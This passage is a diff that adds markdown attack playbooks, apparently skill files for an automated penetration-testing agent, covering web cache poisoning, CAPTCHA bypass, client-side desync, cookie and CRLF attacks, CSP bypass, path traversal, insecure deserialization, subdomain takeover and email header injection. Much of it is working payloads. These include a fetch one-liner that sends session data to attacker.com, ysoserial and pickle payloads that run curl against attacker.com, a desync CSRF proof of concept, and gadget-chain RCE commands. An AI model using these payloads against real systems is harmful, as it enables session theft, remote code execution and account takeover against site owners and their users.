+X-Forwarded-Host: attacker.com + +# Response contains: + + +# If reflected without encoding in cached response +# All users hitting /search?q=hello get XSS +``` + +## Cache Poisoning via HTTP Request Smuggling +``` +# Smuggle a request that poisons cache for next user +# POST with CL.TE/TE.CL to inject crafted request +# See http_request_smuggling.md +``` + +## Cache Key Confusion +``` +# Some caches ignore port, some don't +GET /page HTTP/1.1 +Host: target.com:1337 # different cache key, same backend response + +# Fat GET requests +GET /page?param=evil HTTP/1.1 +# If param is unkeyed but reflected + +# Cache parameter cloaking +GET /page?utm_content=1¶m=evil # utm_content is keyed, param is unkeyed but breaks cache key +``` + +## Web Cache Deception +``` +# Different attack: trick user into caching their private data +# App serves authenticated page for unknown extensions + +# Trick victim into visiting: +https://target.com/my-account/cache.css +https://target.com/dashboard.jpg + +# If server responds with authenticated content +# Cache stores it → attacker requests same URL → gets victim's data + +# Works when: +1. Cache caches static-extension paths +2. Server ignores path suffix and returns dynamic content +3. Cache doesn't validate response is static +``` + +## Testing Methodology +1. Identify caching behavior: check Age, X-Cache, CF-Cache-Status headers +2. Use Param Miner to find unkeyed headers +3. Test each unkeyed header for reflection in response +4. Test reflection for XSS/redirection injection +5. Poison cache: send malicious request, observe cache status +6. Request from clean browser/IP to confirm poison worked +7. Test web cache deception: add .css/.jpg suffix to authenticated pages + +## Cache Identification +``` +# Cache hit indicators: +X-Cache: HIT +CF-Cache-Status: HIT +Age: +X-Varnish: + +# Force cache miss (to test fresh): +Cache-Control: no-cache +Pragma: no-cache +# Or add cache-busting param: ?cb=12345 +``` + +## Tools +- Burp Param Miner — unkeyed input discovery +- `Web Cache Vulnerability Scanner` (WCVS) +- Manual testing with cache busters diff --git a/strix/skills/vulnerabilities/captcha_bypass.md b/strix/skills/vulnerabilities/captcha_bypass.md new file mode 100644 index 00000000..8fb59a84 --- /dev/null +++ b/strix/skills/vulnerabilities/captcha_bypass.md @@ -0,0 +1,132 @@ +# CAPTCHA Bypass Techniques + +## Overview +Techniques to bypass CAPTCHA implementations protecting login, registration, password reset, and other sensitive endpoints. + +## Common CAPTCHA Types +- Google reCAPTCHA v2/v3 +- hCaptcha +- Image-based CAPTCHA +- Math/text CAPTCHA +- Invisible CAPTCHA + +## Parameter-Based Bypass +``` +# Simply remove CAPTCHA parameter +Original: username=admin&password=pass&g-recaptcha-response=TOKEN +Bypass: username=admin&password=pass + +# Send empty value +g-recaptcha-response= +g-recaptcha-response=null +g-recaptcha-response=undefined +g-recaptcha-response=0 +h-captcha-response= + +# Send same CAPTCHA token repeatedly (no server-side invalidation) +# Capture valid token, reuse in every request +``` + +## Response Manipulation +``` +# Intercept CAPTCHA validation response +# Change: {"success":false} → {"success":true} +# Change: status 403 → 200 +# Remove CAPTCHA validation response check + +# If client-side CAPTCHA validation only → bypass entirely +``` + +## Token Reuse +``` +# Complete CAPTCHA once, capture token +# Use same token in all subsequent requests +# Test if server validates token uniqueness/expiry + +g-recaptcha-response=03AGdBq... (same token for 100+ requests) +``` + +## reCAPTCHA v3 Score Bypass +``` +# reCAPTCHA v3 returns a score (0.0-1.0) +# Server must check score — if not checked → bypass + +# Also: score depends on user behavior +# Simulate legitimate user behavior to get high score +# Use browser automation (Playwright) with normal mouse movements +``` + +## CAPTCHA Solving Services +``` +# Commercial services (for testing with authorization): +# 2captcha, Anti-Captcha, CapMonster, DeathByCaptcha + +# API example (2captcha): +POST https://2captcha.com/in.php +key=API_KEY&method=userrecaptcha&googlekey=SITE_KEY&pageurl=TARGET_URL + +# Poll for result: +GET https://2captcha.com/res.php?key=API_KEY&action=get&id=REQUEST_ID +``` + +## Audio CAPTCHA Bypass +``` +# reCAPTCHA audio mode is accessible feature +# Can be solved by speech-to-text APIs: +# Google Speech API, AWS Transcribe, Whisper + +# Automated: ReBreaker tool for audio CAPTCHA +``` + +## Logic Flaws +``` +# CAPTCHA only checked on first request, not subsequent +# CAPTCHA validation on wrong endpoint +# Different endpoint without CAPTCHA: /api/login vs /login +# Mobile API endpoint skips CAPTCHA +# CAPTCHA validated but result ignored + +# Test alternate API paths: +/api/v1/auth/login (no CAPTCHA) +/api/mobile/login (no CAPTCHA) +/api/internal/login (no CAPTCHA) +``` + +## Math/Text CAPTCHA +``` +# Simple automation for text CAPTCHA +# OCR: pytesseract, EasyOCR + +import pytesseract +from PIL import Image +captcha_img = Image.open('captcha.png') +text = pytesseract.image_to_string(captcha_img) + +# Math CAPTCHA: extract numbers and evaluate +# "What is 5 + 3?" → eval("5 + 3") = 8 +``` + +## Session-Based Bypass +``` +# CAPTCHA tied to session +# Create new session (new cookies) to get fresh CAPTCHA slot +# If rate limit is per-session AND CAPTCHA per-session +# → Just keep creating new sessions + +# Or: solve CAPTCHA once per session, then brute force within session +``` + +## Testing Methodology +1. Identify CAPTCHA-protected endpoints +2. Test removing CAPTCHA parameter entirely +3. Test empty/null CAPTCHA values +4. Test reusing a valid CAPTCHA token multiple times +5. Test response manipulation (intercept validation response) +6. Look for alternate endpoints without CAPTCHA +7. Check mobile/API endpoints +8. Test if CAPTCHA is only checked on first step of multi-step flow + +## Impact +- Enables brute force attacks on login/OTP/reset endpoints +- Enables automated account creation (spam/fraud) +- Enables automated form submission diff --git a/strix/skills/vulnerabilities/client_side_desync.md b/strix/skills/vulnerabilities/client_side_desync.md new file mode 100644 index 00000000..9865a41a --- /dev/null +++ b/strix/skills/vulnerabilities/client_side_desync.md @@ -0,0 +1,112 @@ +# Client-Side Desync (CSD) + +## Overview +Client-Side Desync exploits HTTP/1.1 request handling discrepancies where a browser's connection pooling can be manipulated, allowing an attacker to poison other users' requests without server-side smuggling requirements. + +## Concept +``` +# Traditional HTTP smuggling: requires server desync (CL.TE or TE.CL) +# Client-Side Desync: server correctly ignores body on certain requests, +# but browser pools the connection and sends next request on same TCP connection +# → Second request gets "prefixed" with attacker's injected body + +# Conditions needed: +1. Server ignores request body for certain methods/endpoints (e.g., HEAD, 400 responses) +2. Server responds immediately without consuming body +3. Browser reuses connection → next victim request is poisoned +``` + +## Detection +``` +# Find endpoints where server responds without consuming body: +# 1. Server responds to GET/HEAD with 200 but body is left in TCP buffer +# 2. Server responds to POST with 400/301/302 without consuming body +# 3. Content-Length mismatch where server ignores extra bytes + +# Test with: +POST / HTTP/1.1 +Host: target.com +Content-Length: 37 + +GET /poisoned HTTP/1.1 +X-Ignore: x +``` + +## Pause-Based Detection +``` +# Send request where body sits in TCP buffer +# If second request gets routed differently → desync exists + +# Using Burp Suite HTTP/1 connection reuse: +# Send request 1 with oversized body +# Send request 2 on same connection +# Observe if request 2 behavior is affected +``` + +## CSD via HEAD +``` +# HEAD response must not include body, but Content-Length may be set +# Leftover bytes in buffer prefix next request + +HEAD / HTTP/1.1 +Host: target.com + +# Extra bytes in buffer: +GET /admin HTTP/1.1 +Host: target.com +``` + +## CSD via 400 Responses +``` +# Some servers return 400 before consuming body +# Body remains in TCP buffer +# Next request on pooled connection gets poisoned prefix + +POST /resource HTTP/1.1 +Host: target.com +Content-Length: 49 + +GET /poisoned-endpoint HTTP/1.1 +X-Foo: bar +``` + +## CSRF via CSD +``` +# Classic CSD attack for CSRF: +# 1. Attacker serves page that makes victim's browser: +# - Connect to target.com +# - Send a "poisoning" request with injected body +# 2. Next request from same connection (browser's pool) → prefixed with injected body +# 3. Victim's request gets modified → CSRF + +# PoC (served to victim): +fetch('https://target.com/', { + method: 'POST', + credentials: 'include', + body: "GET /csrf-endpoint HTTP/1.1\r\nX-Ignore: x\r\n\r\n", + headers: {'Content-Type': 'text/plain'} +}).then(() => { + return fetch('https://target.com/'); +}); +``` + +## Testing Methodology +1. Find endpoints that respond without consuming body (HEAD, error responses) +2. Test in Turbo Intruder or Burp with connection reuse +3. Identify if second request is affected by first's body +4. Craft CSRF PoC using fetch API +5. Confirm in browser that victim's requests are poisoned +6. Identify impactful target endpoint (account settings, admin action) + +## Tools +- Burp Suite HTTP Request Smuggler extension +- Turbo Intruder for timing-based detection +- Browser DevTools network panel for connection reuse analysis + +## Difference from HTTP Smuggling +``` +# Traditional smuggling: backend server processes smuggled request +# CSD: no backend involvement — browser connection pool is confused +# CSD works even when backend correctly handles CL/TE +# CSD is cross-origin capable (attacker.com → target.com via CORS) +``` diff --git a/strix/skills/vulnerabilities/cookie_attacks.md b/strix/skills/vulnerabilities/cookie_attacks.md new file mode 100644 index 00000000..67890e2c --- /dev/null +++ b/strix/skills/vulnerabilities/cookie_attacks.md @@ -0,0 +1,133 @@ +# Cookie Security Attacks + +## Overview +Attacks targeting cookie implementation flaws including session fixation, cookie tossing, cookie injection, and attribute abuse. + +## Cookie Attribute Analysis +``` +# Secure cookie: Set-Cookie: session=abc; Secure; HttpOnly; SameSite=Strict; Path=/ +# Check for missing attributes in every Set-Cookie header + +# Missing Secure → cookie sent over HTTP +# Missing HttpOnly → accessible via document.cookie (XSS pivot) +# Missing SameSite → CSRF possible +# Overly broad Domain → subdomain can read cookie +# Overly broad Path → accessible by all paths +``` + +## Session Fixation +``` +# Attack: set victim's session ID before authentication +# 1. Attacker gets unauthenticated session: SESS=ATTACKER_ID +# 2. Attacker forces victim to use that session: +# - Via link: https://target.com/login?PHPSESSID=ATTACKER_ID +# - Via subdomain cookie injection +# - Via HTTP parameter +# 3. Victim logs in → server attaches auth to ATTACKER_ID +# 4. Attacker now has authenticated session + +# Test: does session ID change after login? +# If same session ID before/after login → session fixation vulnerable +``` + +## Cookie Tossing (Subdomain Injection) +``` +# Subdomain can set cookies for parent domain +# Domain=target.com cookie can be set by evil.target.com + +# If attacker controls subdomain (via XSS or subdomain takeover): +document.cookie = "session=evil; domain=target.com; path=/"; + +# Parent domain target.com now receives attacker's cookie value +# Which one is used depends on cookie ordering +``` + +## Cookie Injection via CRLF +``` +# See crlf_injection.md +# Inject Set-Cookie header: +GET /redirect?url=https://target.com%0d%0aSet-Cookie:session=hijacked + +# Or inject into existing cookie value: +name=value%0d%0aSet-Cookie:admin=true +``` + +## Cookie Overflow / Eviction +``` +# Browsers have cookie limits (typically 50 cookies per domain) +# Flood victim's cookies → evict legitimate security cookies + +# Example: evict __Secure- prefixed cookie by adding many cookies +# Then set a non-secure cookie with same name to replace it + +# DoS: fill cookie jar → legitimate session cookie evicted → logout +``` + +## Cookie Prefix Attacks +``` +# __Secure- prefix: cookie must be Secure +# __Host- prefix: must be Secure, no Domain attribute, Path=/ + +# Attack: if prefix validation not enforced on server +# Set __Host-session without proper attributes +# Server trusts cookie if it sees the name + +# Test: can you set __Secure-session without Secure flag? +# Does server blindly trust __Host- prefixed cookies? +``` + +## SameSite Bypass +``` +# SameSite=Lax allows cookies on top-level GET navigations +# CSRF via GET method on state-changing endpoints + +# SameSite=None requires Secure flag +# Without Secure: cookie dropped in some browsers + +# SameSite bypass via cross-site subdomain: +# If subdomain has XSS, SameSite=Lax doesn't protect +# Because request is same-site (*.target.com is same-site) + +# Browser navigation bypass (SameSite=Lax): +# (top-level GET) +# window.location = "https://target.com/action" +``` + +## HttpOnly Bypass via XSS (if already have XSS) +``` +# HttpOnly prevents document.cookie access +# But: XMLHttpRequest / fetch includes HttpOnly cookies +# Can exfiltrate via CSRF request that sends response to attacker + +fetch('/api/session-info').then(r=>r.text()).then(d=>fetch('https://attacker.com/'+btoa(d))) + +# Or: trace XSS → force authenticated request → capture response +``` + +## JWT in Cookies +``` +# If JWT stored in cookie: JWT attacks apply +# Combine with cookie injection to replace JWT +# See jwt.md +``` + +## Cookie Scope Analysis +``` +# Map cookie domains and paths: +# domain=.target.com → sent to all subdomains +# path=/ → sent to all paths +# path=/api/ → sent only to /api/ paths + +# Test: can you access cookie-restricted paths? +# Test: does setting domain= explicitly weaken security? +``` + +## Testing Methodology +1. Capture all Set-Cookie headers across the application +2. Analyze each cookie's attributes (Secure, HttpOnly, SameSite, Domain, Path) +3. Check if session ID regenerates after login (session fixation) +4. Test cookie injection via CRLF +5. Test cookie tossing if subdomain access available +6. Test SameSite bypasses for CSRF +7. Check cookie prefix implementation +8. Look for sensitive data stored in cookies (decode Base64, JWT) diff --git a/strix/skills/vulnerabilities/crlf_injection.md b/strix/skills/vulnerabilities/crlf_injection.md new file mode 100644 index 00000000..ee49ff80 --- /dev/null +++ b/strix/skills/vulnerabilities/crlf_injection.md @@ -0,0 +1,101 @@ +# CRLF Injection + +## Overview +Carriage Return Line Feed (\r\n) injection into HTTP headers to split responses, inject headers, or achieve XSS via header-based injection. + +## CRLF Characters +``` +\r\n = %0d%0a = CR + LF +\n = %0a = LF only (often sufficient) +\r = %0d +``` + +## Header Injection +``` +# Inject into URL parameter reflected in Location/Set-Cookie +GET /redirect?url=https://target.com%0d%0aSet-Cookie:session=hijacked + +# Inject new headers +GET /page?lang=en%0d%0aX-Injected:value%0d%0a + +# Inject into existing header value +GET /page +Host: target.com%0d%0aX-Forwarded-For:127.0.0.1 +``` + +## HTTP Response Splitting +``` +# Inject \r\n\r\n to split response body +GET /redirect?url=https://evil.com%0d%0a%0d%0a + +# Full response splitting: +%0d%0aContent-Type:text/html%0d%0a%0d%0a + +# In Location header: +Location: https://target.com%0d%0aContent-Type:text/html%0d%0a%0d%0a

Hacked

+``` + +## XSS via CRLF +``` +# Inject script via Set-Cookie +GET /set-lang?lang=en%0d%0aSet-Cookie:lang= + +# Header injection leading to XSS +%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a +``` + +## Log Injection +``` +# Inject into log-destined parameters +username=admin%0aINFO: Login successful for admin +# Creates false log entry +``` + +## Common Injection Points +``` +# Redirect URLs +/redirect?to=https://target.com +/login?next=/dashboard + +# Language/locale parameters +?lang=en +?locale=en-US + +# Callback URLs +?callback=https://target.com/cb + +# Any parameter reflected in headers (Location, Set-Cookie, etc.) +``` + +## Encoding Variations +``` +%0d%0a → \r\n (standard) +%0a → \n (LF only — may work) +%0d → \r +%E5%98%8A%E5%98%8D → Unicode CRLF (\u560a\u560d) +\r\n → literal (in some contexts) +\n → literal +``` + +## Testing Methodology +1. Find parameters reflected in response headers +2. Test with %0d%0a followed by a new header +3. Check response for injected header +4. Test %0a alone if %0d%0a is filtered +5. Try Unicode variants +6. Attempt response splitting (inject double CRLF + body) +7. Test log injection if input goes to logs + +## Vulnerable Contexts +- Redirect parameters (Location header) +- Cookie setting endpoints +- Language/locale selection +- User profile fields reflected in headers +- API responses setting headers from user input + +## Impact +- XSS via response body injection +- Session fixation via Set-Cookie injection +- Cache poisoning via injected Cache-Control +- Log forgery +- Header injection for downstream processing abuse diff --git a/strix/skills/vulnerabilities/csp_bypass.md b/strix/skills/vulnerabilities/csp_bypass.md new file mode 100644 index 00000000..ac784c67 --- /dev/null +++ b/strix/skills/vulnerabilities/csp_bypass.md @@ -0,0 +1,145 @@ +# CSP (Content Security Policy) Bypass + +## Overview +Techniques to bypass Content-Security-Policy headers that are intended to prevent XSS and data injection attacks. + +## Analyzing CSP +``` +# Read CSP from response headers: +Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.target.com; ... + +# Or from meta tag: + + +# Evaluate with: https://csp-evaluator.withgoogle.com +``` + +## Wildcard / Overly Permissive Directives +``` +# Wildcard source +script-src * → can load script from anywhere +script-src https: → any HTTPS source +script-src http: → any HTTP source + +# Missing directives fall back to default-src +# If object-src not set → falls back to default-src + +# 'unsafe-inline' present → direct inline XSS works +# 'unsafe-eval' present → eval() / setTimeout("string") works +``` + +## JSONP Bypass +``` +# If trusted domain has JSONP endpoint: +Content-Security-Policy: script-src https://trusted.com + +# JSONP endpoint: https://trusted.com/api?callback=alert(1) +# Inject: +``` + +## Angular / Framework Bypass +``` +# If Angular/Vue/React allowed in script-src: +# Angular template injection +{{constructor.constructor('alert(1)')()}} +
click
+ +# Angular CDN +script-src ajax.googleapis.com → AngularJS gadget works + +
{{constructor.constructor('alert(1)')()}}
+``` + +## base-uri Bypass +``` +# If base-uri not set or 'unsafe' → can inject tag +# Change base URL to redirect all relative URLs + +# Then: +``` + +## Nonce Bypass +``` +# Nonce should be random per request +# If nonce is predictable/reused → bypass + +# If nonce reflected in page from user input: +# Inject: + +# If nonce in URL (e.g., via meta refresh): +# Steal via cache or timing +``` + +## Hash-Based CSP +``` +# 'sha256-' allows specific scripts +# If hash covers dynamic content → may be exploitable + +# Test: change whitelisted script content slightly +# If hash validation weak → bypass +``` + +## script-src 'strict-dynamic' +``` +# 'strict-dynamic' trusts scripts loaded by trusted scripts +# If trusted script loads user-controlled URL → bypass + +# Visit: /page#https://attacker.com/evil.js +``` + +## iframe sandbox Bypass +``` +# sandbox attribute on iframe restricts CSP scope +# If allow-scripts present in sandbox → scripts run +# parent CSP may not apply inside sandboxed iframe +``` + +## Object/Embed Bypass +``` +# If object-src not restricted: + + +``` + +## CDN Whitelist Abuse +``` +# Many CDNs host user-uploaded content +# If CDN domain is whitelisted, check for upload functionality + +# Common CDN paths that allow user content: +# storage.googleapis.com → upload to Google Cloud Storage +# s3.amazonaws.com → upload to S3 +# raw.githubusercontent.com → GitHub raw content +# ajax.cloudflare.com → workers + +# Upload malicious JS → use CDN URL in injection +``` + +## Path Restrictions Bypass +``` +# CSP: script-src https://cdn.target.com/js/ +# Try path traversal: https://cdn.target.com/js/../uploads/evil.js +# Or: https://cdn.target.com/js/../../uploads/evil.js +``` + +## Testing Methodology +1. Find CSP header or meta tag +2. Analyze with csp-evaluator.withgoogle.com +3. Check for: wildcard, unsafe-inline, unsafe-eval, data:, JSONP endpoints +4. Check whitelisted domains for JSONP, user-uploaded content, open redirects +5. Check if base-uri is set +6. Test framework-specific bypasses if Angular/etc. CDN whitelisted +7. Check nonce/hash implementation +8. Use Burp's CSP auditor extension + +## Tools +- CSP Evaluator (Google) +- Burp Suite CSP Auditor extension +- `csp-bypass` lists on GitHub diff --git a/strix/skills/vulnerabilities/cspt.md b/strix/skills/vulnerabilities/cspt.md new file mode 100644 index 00000000..5dadab2e --- /dev/null +++ b/strix/skills/vulnerabilities/cspt.md @@ -0,0 +1,107 @@ +# Client-Side Path Traversal (CSPT) + +## Overview +Client-Side Path Traversal occurs when user-controlled input is used in client-side fetch/XHR calls, allowing attackers to redirect API calls to unintended endpoints — often chained to achieve CSRF or SSRF-like impacts. + +## How CSPT Works +``` +# Vulnerable JS: +const userId = getParam('id'); +fetch(`/api/users/${userId}/profile`); + +# Attacker supplies: id=../admin/settings +# → Fetch calls: /api/users/../admin/settings → /api/admin/settings + +# Result: unauthorized API call made by victim's browser +# With victim's credentials/cookies +``` + +## Detection +``` +# Look for JS code patterns: +fetch('/api/' + userInput) +axios.get('/endpoint/' + param) +$.get('/resource/' + value) +location.pathname used in API calls +window.location.hash used in fetch + +# URL parameters reflected in API calls +# URL fragments used for routing then in API requests +``` + +## Path Traversal Payloads +``` +# Basic traversal +../admin +../../config +../../../internal + +# Encoded +%2e%2e%2f → ../ +%2e%2e/ → ../ +..%2f → ../ +%2e%2e%2fadmin + +# Double encoded +%252e%252e%252f + +# URL fragment trick +/page#/../api/admin +``` + +## CSRF via CSPT +``` +# If state-changing API can be reached via path traversal: +# 1. Find CSPT in GET parameter used in fetch +# 2. Target: DELETE /api/users/self +# 3. Craft URL: /dashboard?section=../../users/self +# 4. GET request → JS fetches /api/users/self +# 5. If CSRF token not required for this endpoint → CSRF achieved + +# More powerful: CSPT + CSRF = account deletion/modification via link +``` + +## POST Body CSPT +``` +# CSPT in JSON body field used as sub-path +POST /api/action +{"resource": "profile"} +→ Server calls /internal/profile + +# Inject: {"resource": "../admin/reset-all"} +``` + +## Chaining with Other Vulnerabilities +``` +# CSPT → SSRF (if server-side follows the client-side path) +# CSPT → XSS (if response is reflected back) +# CSPT → Info Disclosure (access internal API endpoints) +# CSPT → CSRF (trigger state-changing requests with victim credentials) +``` + +## Testing Methodology +1. Analyze all URL parameters, hash fragments, and form fields +2. Find JavaScript that uses these values in fetch/XHR/axios calls +3. Check if path traversal sequences pass to API endpoint +4. Map reachable endpoints via traversal +5. Identify state-changing endpoints reachable without CSRF token +6. Craft PoC URL that triggers action when victim visits +7. Test encoded variants if basic traversal is filtered + +## Code Patterns to Audit +```javascript +// Vulnerable patterns +fetch(`/api${location.pathname}`) +fetch('/api/' + new URLSearchParams(location.search).get('path')) +axios.get('/service/' + route.params.id) + +// Slightly safer (but still testable) +const path = sanitize(userInput); // check if sanitize handles ../ +fetch('/api/' + path); +``` + +## Impact +- CSRF-equivalent attacks with victim credentials +- Access to internal API endpoints +- Account takeover when chained with privileged API calls +- Data exfiltration from internal endpoints diff --git a/strix/skills/vulnerabilities/deserialization.md b/strix/skills/vulnerabilities/deserialization.md new file mode 100644 index 00000000..abb42eef --- /dev/null +++ b/strix/skills/vulnerabilities/deserialization.md @@ -0,0 +1,143 @@ +# Insecure Deserialization + +## Overview +Exploitation of insecure deserialization of user-supplied data leading to RCE, authentication bypass, and privilege escalation. + +## Detection + +### Java Serialization +``` +# Binary magic bytes: AC ED 00 05 +# Base64: rO0AB... (common in cookies, parameters) +# Content-Type: application/x-java-serialized-object + +# Identify libraries in use: +- Apache Commons Collections (cc1-cc7) +- Spring Framework +- JBoss/WildFly +- WebLogic +- Jenkins + +# Test with ysoserial: +java -jar ysoserial.jar CommonsCollections1 "curl attacker.com" | base64 +``` + +### PHP Serialization +``` +# Format: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"pass";s:4:"test";} +# a: = array, O: = object, s: = string, i: = int, b: = bool, N: = null + +# Common magic methods exploited: +__wakeup() - called on unserialize() +__destruct() - called when object destroyed +__toString() - called when cast to string +__sleep() - called on serialize() + +# Look in: cookies (PHPSESSID, user_data), hidden fields, API parameters +``` + +### Python Pickle +``` +# Pickle format identifiers: \x80\x02 or starts with 'c' module +# Base64 encoded pickles in cookies/params + +# Craft malicious pickle: +import pickle, os, base64 +class Exploit(object): + def __reduce__(self): + return (os.system, ('curl attacker.com',)) +payload = base64.b64encode(pickle.dumps(Exploit())) +``` + +### .NET / C# BinaryFormatter +``` +# Binary format, often in ViewState, cookies, SOAP +# Look for __VIEWSTATE, __EVENTVALIDATION parameters +# Libraries: ObjectStateFormatter, LosFormatter, BinaryFormatter + +# Tools: ysoserial.net for gadget chains +ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc" +``` + +### Ruby Marshal +``` +# Marshal.load on user input +# Gadget chains via ActiveRecord, ActiveSupport + +# Craft: Marshal.dump(malicious_object) +``` + +## Java Exploitation with ysoserial +``` +# Generate payloads for different gadget chains: +java -jar ysoserial.jar CommonsCollections1 "cmd" > payload.bin +java -jar ysoserial.jar CommonsCollections2 "cmd" > payload.bin +java -jar ysoserial.jar Spring1 "cmd" > payload.bin +java -jar ysoserial.jar Groovy1 "cmd" > payload.bin +java -jar ysoserial.jar JRMPClient "attacker.com:1099" > payload.bin + +# Test each gadget chain as different libraries may be present +``` + +## PHP Object Injection +``` +# Example vulnerable code: +$data = unserialize($_COOKIE['user']); + +# Find classes with magic methods in application codebase +# Chain __wakeup → __destruct → file write / RCE + +# Example payload for file write: +O:7:"PHPFile":2:{s:4:"name";s:15:"/var/www/evil.php";s:7:"content";s:22:"";} + +# PHPGGC — PHP Generic Gadget Chains: +phpggc Laravel/RCE7 system whoami +phpggc Symfony/RCE4 system whoami +phpggc Monolog/RCE1 system whoami +``` + +## ViewState Exploitation (.NET) +``` +# If ViewState MAC validation disabled: +# Modify ViewState to inject serialized payload + +# If MAC key known (leaked, default): +ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc" --path "/" --apppath "/" --islegacy + +# Test with empty/null MAC key +# Check web.config for machineKey +``` + +## Node.js / JavaScript +``` +# node-serialize package vulnerability +# Serialize function strings that get eval'd on deserialize +{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"} + +# serialize-javascript, fast-json-stringify edge cases +``` + +## Testing Methodology +1. Find serialized data: cookies, hidden fields, request bodies, headers +2. Identify format (base64 decode, check magic bytes) +3. Identify framework/language/libraries +4. Select appropriate gadget chain +5. Generate payload (DNS callback first to confirm deserialization) +6. Escalate to RCE +7. Test blind: use out-of-band (DNS/HTTP callback to Burp Collaborator) + +## Blind Detection +``` +# Use DNS callback to confirm deserialization without visible output +# ysoserial payload that pings attacker.com +java -jar ysoserial.jar CommonsCollections1 "nslookup attacker.burpcollaborator.net" + +# If DNS query received → vulnerable +``` + +## Tools +- `ysoserial` — Java gadget chains +- `PHPGGC` — PHP gadget chains +- `ysoserial.net` — .NET gadget chains +- Burp Deserialization Scanner extension +- `SerializationDumper` — Java serialization analysis diff --git a/strix/skills/vulnerabilities/dns_hijacking.md b/strix/skills/vulnerabilities/dns_hijacking.md new file mode 100644 index 00000000..181128ca --- /dev/null +++ b/strix/skills/vulnerabilities/dns_hijacking.md @@ -0,0 +1,133 @@ +# DNS Hijacking & Subdomain Takeover + +## Overview +DNS-based attacks including subdomain takeover, dangling DNS records, and DNS rebinding. + +## Subdomain Takeover + +### Detection +``` +# Find dangling CNAME records +dig CNAME sub.target.com +# If CNAME points to unclaimed service → takeover possible + +# Common dangling targets: +# GitHub Pages: xxx.github.io +# AWS S3: xxx.s3.amazonaws.com, xxx.s3-website-*.amazonaws.com +# Heroku: xxx.herokuapp.com +# Azure: xxx.azurewebsites.net, xxx.cloudapp.net +# Shopify: xxx.myshopify.com +# Fastly: xxx.global.fastly.net +# Pantheon: xxx.pantheon.io +# Zendesk: xxx.zendesk.com +# Netlify: xxx.netlify.app + +# Check if target responds with "NoSuchBucket", "Not Found", "not found on this server" +# Those are unclaimed indicators +``` + +### Exploitation +``` +# GitHub Pages takeover: +1. CNAME points to victim.github.io +2. victim.github.io → 404 (repo deleted) +3. Register GitHub account with same username +4. Create repo with same name and enable Pages +5. Now control victim.sub.target.com + +# S3 takeover: +1. CNAME points to bucket.s3.amazonaws.com +2. Bucket doesn't exist or is deleted +3. Create S3 bucket with same name +4. Upload index.html → serve malicious content + +# Heroku: +1. CNAME points to app-name.herokuapp.com +2. App deleted +3. Create Heroku app with same name +``` + +### Impact of Subdomain Takeover +``` +# XSS on subdomain that can affect parent via: +- document.domain relaxation +- Cookies scoped to .target.com +- Same-site cookie bypass + +# Phishing via legitimate-looking subdomain +# CSP bypass if subdomain whitelisted +# OAuth redirect_uri bypass +# Email phishing from sub@taken-subdomain.target.com +``` + +## DNS Rebinding + +### Concept +``` +# Bypass same-origin policy using DNS TTL manipulation +# Phase 1: DNS resolves to attacker's server (serves malicious JS) +# Phase 2: DNS TTL expires, rebinds to 127.0.0.1 or internal IP +# Phase 3: JS makes requests → browser thinks same origin → goes to internal service + +# Attack flow: +1. Victim browser visits attacker.com +2. DNS: attacker.com → 1.2.3.4 (attacker's server) — serves JS +3. TTL expires (set to 0 or very low) +4. Victim JS makes another request to attacker.com +5. DNS now resolves: attacker.com → 192.168.1.1 (internal target) +6. Request goes to 192.168.1.1 with attacker.com origin +7. Reads internal API responses +``` + +### Tools +``` +# Singularity of Origin — DNS rebinding framework +# https://github.com/nccgroup/singularity + +# Rebind.network — online DNS rebinding service (for authorized tests) +``` + +## DNS Zone Transfer +``` +# Test if nameserver allows zone transfer +dig axfr target.com @ns1.target.com +host -l target.com ns1.target.com +nmap --script dns-zone-transfer -p 53 ns1.target.com + +# If successful: get full list of subdomains, internal IPs +``` + +## DNS Cache Poisoning +``` +# Inject malicious DNS records into resolver cache +# Requires specific conditions (Kaminsky attack preconditions) +# Test: check DNSSEC deployment +dig target.com +dnssec + +# Missing DNSSEC → potential cache poisoning risk (report as finding) +``` + +## Internal DNS Enumeration +``` +# Brute force internal subdomains +# From inside network or via SSRF +# Common internal names: +internal, admin, dev, staging, vpn, mail, api, db, redis, jenkins +intranet, corp, portal, ldap, ad, dc, git, wiki, jira, confluence +``` + +## Testing Methodology +1. Enumerate all subdomains (dnsx, subfinder, amass, alterx) +2. Check CNAME records for each: `dig CNAME sub.target.com` +3. For each CNAME, test if service is claimed +4. Test for zone transfer +5. Check DNSSEC deployment +6. Look for SPF/DMARC issues (see email_attacks.md) +7. Test DNS rebinding protections (internal services) + +## Tools +- `subfinder`, `amass` — subdomain enumeration +- `nuclei -t takeovers/` — automated takeover detection +- `dnsx` — DNS resolution at scale +- `can-i-take-over-xyz` — GitHub resource for takeover fingerprints +- `Singularity` — DNS rebinding diff --git a/strix/skills/vulnerabilities/email_attacks.md b/strix/skills/vulnerabilities/email_attacks.md new file mode 100644 index 00000000..82ee50b2 --- /dev/null +++ b/strix/skills/vulnerabilities/email_attacks.md @@ -0,0 +1,128 @@ +# Email-Based Attacks + +## Overview +Security vulnerabilities in email functionality including header injection, account takeover via email, and email verification bypass. + +## Email Header Injection +``` +# Inject additional headers via newlines in email fields +# Target: To, CC, BCC, From, Subject fields + +# CRLF injection in To field: +To: victim@target.com%0d%0aBcc:attacker@attacker.com + +# CC injection in Subject: +Subject: Hello%0d%0aCC:attacker@attacker.com + +# In name/comment fields: +name=John%0d%0aBCC:attacker@attacker.com&email=victim@target.com + +# Additional payload variations: +%0a (LF only) +%0d%0a (CRLF) +\n +\r\n +``` + +## Email Verification Bypass +``` +# Test if email verification is enforced before sensitive actions +# Register → skip verification → can still perform actions + +# Change email without verification: +PATCH /api/user +{"email": "attacker@attacker.com"} +# Does server send verification or update immediately? + +# Race condition on verification: +# Send email change request + use account simultaneously +# Before verification sent/completed + +# Token prediction: +# Email verification tokens: are they sequential/predictable? +# Same token length/charset as password reset? +``` + +## Account Takeover via Email +``` +# Pre-account takeover: +# 1. Attacker registers with victim's email (no verification required) +# 2. Victim later registers or uses SSO with same email +# 3. Accounts merged → attacker gains access + +# Email case sensitivity: +# Register: Admin@target.com (uppercase) +# Login with: admin@target.com (lowercase) +# Different accounts or same? + +# Plus-addressing bypass: +# victim+1@gmail.com, victim+test@gmail.com +# All deliver to victim@gmail.com +# Some apps treat 